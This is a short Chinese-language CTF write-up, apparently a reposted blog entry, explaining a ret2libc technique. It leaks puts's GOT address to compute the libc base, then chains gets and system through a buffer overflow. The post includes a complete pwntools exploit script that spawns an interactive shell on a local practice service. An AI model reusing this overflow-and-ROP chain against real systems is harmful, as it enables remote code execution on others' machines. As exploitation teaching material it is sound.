pwn-ROP(2)
阿新 • • 發佈:2018-06-13
圖片 溢出 int 動態 JD 程序 分享 strip() 函數
通過int80系統只對靜態編譯有效,動態編譯需要用其他方法
本題提供了一個地址輸入端,輸入函數地址會返回該函數的實際地址,我們用得到的實際地址-偏移地址=基地址,然後用基地址+任意函數的偏移地址就可以得到實際地址,就可以調用gets、system等函數,利用溢出點傳入shell。
首先,用objdump看一下用到的puts函數的跳轉地址
exp中先傳入0x804a01c,會得到一個實際地址,把這個地址先保存起來,再用命令找到puts的偏移地址
得到偏移地址0x0064da0,用得到的實際地址-偏移地址,這樣就得到了基地址。同樣可以得到gets、system的偏移地址,加上基地址,得到實際地址,程序之後會有一個輸入點,用溢出即可傳入shell
exp:
1 from pwn import * 2 3 r = remote(‘127.0.0.1‘,4000) 4 5 puts_got_plt = 0x804a01c 6 puts_off = 0x0064da0 7 8 r.recvuntil(‘:‘) 9 r.sendline(str(puts_got_plt)) 10 r.recvuntil(‘:‘) 11 libc_base = int(r.recvuntil(‘\n‘).strip(),16) - puts_off 12 print ‘Libc base addr :‘ + hex(libc_base) #得到基地址 13 14 gets_off = 0x0064440 15 system_off = 0x003fe70 16 17 buf = 0x0804a048 - 50 18 19 gets = libc_base +gets_off 20 system = libc_base +system_off 21 22 rop=[ 23 gets, 24 system, 25 buf, 26 buf 27 28 ] 29 30 r.recvuntil(‘:‘) 31 r.sendline(‘a‘*60+flat(rop)) #溢出點 32 sleep(2) 33 r.sendline(‘/bin/sh\x00‘) #傳入shell 34 35 36 r.interactive()
pwn-ROP(2)